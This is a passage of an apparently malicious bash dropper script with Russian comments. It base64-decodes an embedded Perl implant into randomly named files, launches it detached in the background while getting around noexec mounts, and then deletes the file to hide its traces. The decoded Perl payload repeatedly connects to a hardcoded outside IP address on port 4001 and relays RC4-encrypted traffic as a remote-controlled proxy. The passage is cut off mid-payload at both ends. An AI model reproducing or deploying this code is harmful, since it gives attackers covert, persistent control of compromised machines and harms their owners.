zRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_073842ee() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c43a6313() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" 